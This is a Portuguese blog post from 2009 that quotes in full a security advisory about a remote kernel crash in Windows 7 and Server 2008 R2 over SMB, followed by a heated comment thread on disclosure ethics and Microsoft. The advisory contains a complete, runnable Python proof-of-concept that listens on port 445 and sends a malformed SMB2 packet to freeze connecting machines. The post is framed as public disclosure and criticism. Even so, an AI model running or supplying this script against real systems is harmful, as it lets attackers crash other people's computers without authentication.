quinta-feira, novembro 12, 2009

(MOST SECURE OS EVER) - REDMOND, WE'VE GOT A PROBLEM.

Big problem!

Como não vejo qualquer outra forma de colocar aqui o problema sem ir preso devido a um aborto de Lei que por aí anda, Lei 109/2009 de 15 de Setembro, nem tampouco dizer se já experimentei ou não já que qualquer tentativa dá direito a uma pena mais severa que à dada (ou deveria dizer não dada?) aos ladrões de cartola que agora aparecem diariamente aos montes a meter a mão a milhões, irei transcrever na íntegra um grande problema que se afecta todos aqueles que utilizam Windows 7 e Server 2008 RC2 e também todos aqueles que o utilizarão até ao dia em que a M$ se importe verdadeiramente com os seus utilizadores e deixe de pensar apenas na carteira dos seus investidores.
Sem mais delongas:

"
This bug is a real proof that SDL #FAIL
The bug trigger an infinite loop on smb{1,2}, pre-auth, no credential needed...
Can be trigered outside the lan via (IE*)
The bug is so noob, it should have been spotted 2 years ago by the SDL if the SDL would have ever existed:

netbios_header = struct.pack(">i", len(''.join(SMB_packet))+SMB_packet
(The netbios header provide the length of the incoming smb{1,2} packet)

If netbios_header is 4 bytes smaller or more than SMB_packet, it just blow !
WHAT ?? you gotta be kidding me where's my SDL ?!?

"Most secure Os ever";
What ever your firewall is set to, you can get remotly smashed via IE or even via some broadcasting nbns tricks (no user interaction)
How funny.


Advisory:

=============================================
- Release date: November 11th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================

I. VULNERABILITY
-------------------------
Windows 7 * , Server 2008R2 Remote Kernel Crash

II. BACKGROUND
-------------------------
#FAIL,#FAIL,#FAIL
SDL FAIL, 'Most Secure Os Ever' --> Remote Kernel in 2 mn.
#FAIL,#FAIL,#FAIL


III. DESCRIPTION
-------------------------
See : http://g-laurent.blogspot.com/ for much more details

#Comment:
This bug is specific Windows 7/2008R2.

IV. PROOF OF CONCEPT
-------------------------
#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffié
#

import SocketServer

packet = "\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"


class SMB2(SocketServer.BaseRequestHandler):

def handle(self):

print "Who:", self.client_address
print "THANKS SDL"
input = self.request.recv(1024)
self.request.send(packet)
self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()



V. BUSINESS IMPACT
-------------------------
An attacker can remotly crash any Windows 7/Server 2008R2
on a LAN or via IE


VI. SYSTEMS AFFECTED
-------------------------
Windows 7, Windowns Server 2008R2

VII. SOLUTION
-------------------------
No patch available for the moment, your vendor do not care.
Close SMB feature and ports, until a real audit is provided.

VIII. REFERENCES
-------------------------
http://blogs.msdn.com/sdl/

IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com

X. REVISION HISTORY
-------------------------
November 8th, 2009: MSRC contacted
November 8th, 2009: MSRC acknoledge the vuln
November 11th, 2009: MRSC try to convince me that multi-vendor-ipv6 bug shouldn't appears on a security bulletin.
November 11th, 2009: Win 7 remote kernel smash released

XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

XII.Personal Notes
-------------------------
More Remote Kernel FD @MS to come.
"

Quanto ao facto de eventualmente (*) isto não se poder fazer em Portugal, esse tal país que é um assombro Tecnológico mas que castra toda e qualquer investigação nesta área com uma porcaria copiada de alguém que não deveria servir de exemplo, aproveito para deixar aqui um comentário que pode servir a quem de direito:
- "That's the cost of security by obscurity and propaganda.
Like it or not, it's like that.
"

NOTA: o "bold" e letra vermelha são da responsabilidade do dono desta tasca, com a intenção de chamar a atenção para partes que são deveras importantes e a reter.

(*) - Apenas eventualemente. Alguém com conhecimentos jurídicos poderá informar melhor acerca desta coisa a que resolveram chamar de Lei. Segundo aquilo que consigo ler no Artigo 4º é uma mera tentativa de estourar um programa dá "direita" a uma punição!
Ou seja, meninos não estudem informática porque o nosso querido desgoverno não vos deixa fazer nada excepto pagar o imposto M$!

PS1: Se não perceberam bem o que se está a passar leiam os posts anteriores de Laurent Gaffié. Andava para aqui calado à espera do que isto iria dar já que suspeitei desde o 1º momento do facto do Windows 7 e Server RC2 estarem livres do bug do SMB.2 já aqui narrado. Como é óbvio também fiquei à espera do remendo da M$ que lá acabou por aparecer na tradicional data que a M$ estipula para estas coisas e, não a título excepcional como seria forçoso que tal acontecesse mais cedo, como um "sábio" da M$ aqui tentou transmitir só que recusado devido à sua alma de carroceiro. Bem, como é hábito, foi pior a emenda que o soneto tal como a M$ já nos vai habituando a estas coisas - remendos de remendos de remendos de remendos. Ah!, e nesta última actualização de (cof... cof... cof...) "segurança" há mais um grave erro mas isso fica para amanhã e após ter a certeza de qual o procedimento correcto.


PS2: Não mudem para SO's de jeito não.
(disclaimer: este conselho não se destina aos meninos que apenas usam o computador para se armarem em piratas dos sete mares, brincar aos soldadinhos, génios do futebol e afins. Apenas se destina a pessoas responsáveis - BUSINESS IMPACT, see?)

26 comentários:

Ruben Alves disse...

Também recebi este e-mail! Ri-me como um perdido :P

Já é a segunda vez que o SMB2 tem direito a um exploit DoS tão simples que até mete medo.

Anónimo disse...

Qual business impact? Achas mesmo que numa organização isto terá algum impacto? É um bug e depois? Não tens código a ser executado remotamente... enfim bloqueias o sistema e? Provavelmente este nem sequer terá direito a sair oob, e acabará por sair na próxima primeira terça-feira de dezembro, com tempo e com os testes de regressão devidamente realizados... pointless, o mais relevante é o ego do sr. e a sua irresponsabilidade, até porque reportou, terá sempre o problema resolvido e os seus créditos, até parece que teve receio que alguém lhe tirasse o momento... enfim.

skizofrenik disse...
Este comentário foi removido por um administrador do blogue.
jocaferro disse...

"Provavelmente este nem sequer terá direito a sair oob, e acabará por sair na próxima primeira terça-feira de dezembro, com tempo e com os testes de regressão devidamente realizados..."

Provavelmente...
Também provavelmente o outro bug do SMB2 iria ser resolvido antes da primeira Terça-Feira de Novembro.

Areia para os olhos?

"o mais relevante é o ego do sr. e a sua irresponsabilidade, até porque reportou, terá sempre o problema resolvido e os seus créditos, até parece que teve receio que alguém lhe tirasse o momento... enfim."

Obscuridade, hem?
Eu percebo bem a sua posição. Os milhares de bugs não reportados ou apenas reportados à M$, convém-lhes, não é?
Manter as pessoas na ignorância, não é?

Acho que todos os investigadores deveriam reportar livremente tudo aquilo que encontram, tal como é feito no mundo Livre. Caso assim não seja não passa de uma simples ditadura.
Enfim...

Quanto ao "Business Impact", alguém esperaria que um astroturfer viesse para aqui não defender a posição da M$!?
Enfim...

Quanto ao remoto, bem aqui é que é um grande ENFIM...

jocaferro disse...

Ah!, esqueci-me de dizer apenas uma coisa que também me escapou no post:
- É que este bug é tão primário, que deveriam ter vergonha de o defender.

É que é anedótica a sua pseudo-assumpção em chico-esperto
- "e com os testes de regressão devidamente realizados."
Certamente foi para rir, não?

jocaferro disse...

Quanto ao eliminado:
- já se sabe que V. Exa. tem por hábito comer na sanita e obrar na sala. Como já o tinha avisado, apesar desta tasca não ser grande coisa pelo menos não é como a sua casa.

jocaferro disse...

Engraçado. Agora vem aos pares é?
Terapia de grupo?

skizofrenik disse...
Este comentário foi removido por um administrador do blogue.
Anónimo disse...
Este comentário foi removido por um administrador do blogue.
jocaferro disse...

Um troll.

jocaferro disse...

O mais que habitual e conhecidíssimo astroturfing:

Nada de novo?


Siga para o caixote de lixo.

PS: Aprenda a ler sff.. Quando tiver algo a discutir acerca do assunto mande que publico. Andar a divagar, tentar desviar o assunto para outros temas e a atirar areia para os olhos acerca de um grande problema é uma grande irresponsabilidade vindo de quem vem.
Aliás esse é sempre o seu procedimento nestes casosmas aqui e agora veio bater à porta errada.
Em resumo, não alimento trolls.

Adeus.

Anónimo disse...
Este comentário foi removido por um administrador do blogue.
jocaferro disse...

Pois, já só faltava a fase dos insultos.
Típico da gente desta laia.

jocaferro disse...

"gente desta laia" - neste caso refere-se ao super-conhecido astroturfer da M$ e não o outro troll.
Bem me parecia que estudavam pelo mesmo catecismo.

skizofrenik disse...
Este comentário foi removido por um administrador do blogue.
Anónimo disse...

http://www.microsoft.com/technet/security/advisory/977544.mspx

Agora é esperar pelo fix, para já não parece ter potencial para sair oob. Se o sr. Laurent tivesse calma, o problema resolve-se e ele tem as luzes que pelos vistos tanto gosta e sem colocar ninguém em risco. Dar três dias e fazer o disclosure é estúpido, nem percebo porque reportou mais valia ter logo feito o disclosure, o interesse dele nunca foi ajudar ninguém por isso não entendo.

jocaferro disse...

Apesar de mais uma vez estar a tentar criar uma diversão e desviar o assunto, até tem direito a publicação e resposta unicamente para repor os verdadeiros factos.

1º - (doutrina) Atacar o mensageiro
Não, não é estúpido. Apenas este não se vendeu como milhares por esse mundo fora. Quem parece ter um problema com o conhecimento de erros são apenas as empresas de código fechado e proprietário e como se tem visto são um autêntico mar de buracos, apesar de cobrar e BEM!
Só para repor os factos e a verdade a que parece querer pintar de outra cor servindo sabe-se lá quais dúbios interesses - após o erro ter sido reportado a M$ marimbou-se para o assunto e ao mesmo tempo para quem tinha descoberto esse erro. Como lhe parece ter escapado no post, torno a repetir o comentário em resposta a quem o acusava do mesmo:
- "That's the cost of security by obscurity and propaganda.
Like it or not, it's like that."

Adicionando a este ainda existe outro que também serve de resposta à sua triste e infeliz posição:
- "Maintenant si toi, tu pense que le système tel qu'il est avec ce genre de pensée unique est bon, ca ne regarde que toi, et ton nez brun, ne vas pas assumer que les autres doivent te suivre dans ce qui est un echec.
Je pense différement,tu parle de "communautée";
une communauté qui ne peut pas accepter que les gens peuvent penser différement, ce n'est pas une communautée,c'est de la dictature transparente."

Como se pode ver a sua infeliz e triste assumpção acerca da honestidade de uma pessoa já teve a respectiva resposta por parte da pessoa envolvida e tal como se pode verificar quem tem uma posição enviesada e subjugada aos interesses de quem tenta proteger é o conhecido anónimo.
(continua)

jocaferro disse...

(continuação)
2. (doutrina) Desviar do assunto principal com links e mais links, de preferência ligando a opiniões "independentes"
A M$ teve tempo. Muito tempo. Aliás, imenso tempo. Apesar de ter tido muito tempo agora ainda pede mais tempo como se pode ler pelo link que enviou.
Quanto?
Ninguém sabe.
Soluções?
Nada. "Ah! e tal estamos a pensar..."
Ou seja,o que me mandou foi um link completamente oco e sem qualquer sentido logo, apenas serviu para mera distracção.
Não fosse o caso desta descoberta ter sido imediatamente espalhada um pouco por toda a parte a M$ a esta hora ainda estaria a responder exactamente da mesma forma que respondeu:
- "Ah!, e tal talvez lá para o service pack. Mas não prometemos."
Agora, resolveram mexer-se graças à honestidade de um mero cidadão que em segundos descobriu o erro, relatou-o e após o ter relatado esteve 3 dias sem que lhe dissessem nada.
Mais um comentário de Laurent Gaffié que serve de resposta ao seu triste e infeliz link e à sua noção "temporal":
- "No, i dont believe in flawless software, but i do believe on hardened SMB/IP/RPC/NTB, and on fuzzing which
allow to spot theses kind of vulnerability very fast.
I dont believe in security by obscurity, which lead to this kind of dummy flaw.
You talk about linux; they dont have theses kind of no user interaction remote kernel panic.

What I'm trying to point out here is about 2 things:

They said new code go through stress testing,fuzzing, constant review, Bla.
It's false, and this bug proves it, it's brand new code.

The other thing is they concentrate way to much on IE and the Office suite, while SMB, IPv6, etc doesn't need any user
interaction, and are critical as they run with kernel privilege."
Como já deve ter reparado, em cada um dos pontos coloquei lá alguns mandamentos retirados da doutrina do catecismo evangélico segundo M$. Aliás, recentemente OSGEEX publicou uma música dedicada aos astroturfers de todo o mundo.
http://osgeex.blogspot.com/2009/11/comming-up-slog.html
Como pode verificar estão lá todas as técnicas que utiliza.

Ora, bela lembrança para um post. Graças a si sai já a seguir.

A seguir a conclusão.

jocaferro disse...

Conclusão:
O que para aqui trouxe não passa de palha com o único intento de atear uma fogueira. Para além disso a palha é verde e encontra-se inundada de forma a criar uma cortina de fumo.
Estes são os seus/vossos habituais métodos e eu não os aprovo já que a única intenção é divergir do assunto principal e atirar com areia aos olhos das pessoas sob um assunto que é grave, embora por enquanto ainda ninguém se tenha dedicado a explorá-lo.
Assim, o aviso que dei continua de pé e mais palha = directamente para o lixo.

jocaferro disse...

Quanto ao comentário eliminado das 13:15, continua o troll ao ataque.
Desta vez diz que acabou mas já o disse tantas vezes nem sei se acredito. De qualquer forma vou tentar acreditar e como resposta apenas lhe posso desejar:
- Adeus. Até nunca.

Anónimo disse...

"Só para repor os factos e a verdade a que parece querer pintar de outra cor servindo sabe-se lá quais dúbios interesses - após o erro ter sido reportado a M$ marimbou-se para o assunto e ao mesmo tempo para quem tinha descoberto esse erro."

Isso é o que ele diz, mas não faz sentido nenhum a MS ter-se borrifado, se calhar não reagiu como ele estava à espera, mas daí a dizer-se que se borrifou... mas cada diz o que quer e acredita quem quer.

"Como se pode ver a sua infeliz e triste assumpção acerca da honestidade de uma pessoa já teve a respectiva resposta por parte da pessoa envolvida e tal como se pode verificar quem tem uma posição enviesada e subjugada aos interesses de quem tenta proteger é o conhecido anónimo."

"Ele pode dizer o que quiser, mas o que é certo é que fez aquilo que normalmente um investigador não faz... aceito a opinião dele, mas continuo a achar que está errado, tão simples quanto isto.
Ou seja,o que me mandou foi um link completamente oco e sem qualquer sentido logo, apenas serviu para mera distracção."

Eu vou explicar porque invariavelmente você não percebe. O link é a confirmação de que a Microsoft não se borrifou, mas ainda não tem o fix para entregar.

Se você percebesse como estas coisas funcionam, entenderia que numa primeira fase é realizada uma investigação para conhecer bem o problema reportado, e não poucas vezes essa fase dura uns quantos dias, depois a resolução tipicamente é rápida, o trabalho mais importante foi realizado no passo anterior e finalmente começam os testes e esta sim é a fase que demora mais, e é também aquela onde normalmente se corta se for mesmo muito importante lançar o fix asap, caso contrário serão realizados nas diferentes plataformas, idiomas, etc.

No resto como não diz nada de relevante, o que até é normal, nem sequer respondo.

jocaferro disse...

"Isso é o que ele diz, mas não faz sentido nenhum a MS ter-se borrifado, se calhar não reagiu como ele estava à espera, mas daí a dizer-se que se borrifou... mas cada diz o que quer e acredita quem quer."

Pois. E eu sou obrigado a acreditar em si, não é?
Ainda por cima, com uma suposição do tipo:
- "não faz qualquer sentido a M$ ter-se borrifado"
Sentido é coisa que não tem não senhor - neste caso sentido do ridículo!

"Eu vou explicar porque invariavelmente você não percebe. O link é a confirmação de que a Microsoft não se borrifou, mas ainda não tem o fix para entregar."
Lá está mais uma vez a tentar matar o mensageiro. Não se ponha com as habituais tretas do "você não percebe" porque quem não percebe é justamente o conhecidíssimo anónimo. E é de tal forma simples de verificar como está a mentir deliberadamente, coisa já habitual e por diversas vezes desmascarado, bastando verificar o pormenor das datas:
- 11 de Novembro - publicação no blog;
- 13 de Novembro - a vazia notícia da M$ "ah! e tal a gente está a pensar"
Está a ver como é simples saber quem afinal não percebe?
Já agora, como não percebe, vou-lhe fazer um desenho:
- A M$ apenas decidiu colocar essa treta após a notícia ter corrido mundo. E mesmo assim, demorou dois dias a fazê-lo!
E para quê?
"Ah!, vamos pensar no assunto". E por aqui ficou e ficará mas já não é para admirar - afinal, é da M$ que estamos a falar!


"Se você percebesse como estas coisas funcionam,..."
Mais uma vez?
Felizmente eu percebo e há muita gente que percebe como estas coisas funcionam.
E o que é que toda gente percebe?
É que após a publicação passados dois dias ainda estavam completamente às aranhas!
E estão e continuarão a estar.
É que você nem sequer se apercebe do ridículo que é estar a atirar tiros ao mensageiro com frases tiradas do "evangelism is war" - "você(s) não percebe(m)"

"No resto como não diz nada de relevante, o que até é normal, nem sequer respondo."
Já se percebeu. Você é que diz coisas relevantes como já aqui ficou provado!
Como é óbvio, eu já sabia que não iria responder ou que se sairia com uma tirada deste tipo. Mais uma vez, confirma-se o acérrimo seguimento da doutrina do evangelismo.

Mas eu respondo-lhe com uma frase que deverá adorar só que desta vez aplicável a si/vocês:
- 3 strikes, out!

Azathöth disse...
Este comentário foi removido por um administrador do blogue.
jocaferro disse...

Bolas!
Afinal o troll ameaça, ameaça mas não desampara a tasca.

Xô melga.

Sacortox,
lixo

Anónimo disse...

Os últimos comentários podem ser publicados? ou basicamente não lhe dá jeito responder.

jocaferro disse...

Não.
Apesar dos avisos continua com o blá... blá... blá

Por isso = lixo.

Aliás, esqueço-me sempre que não se devem alimentar trolls.

Processe-me.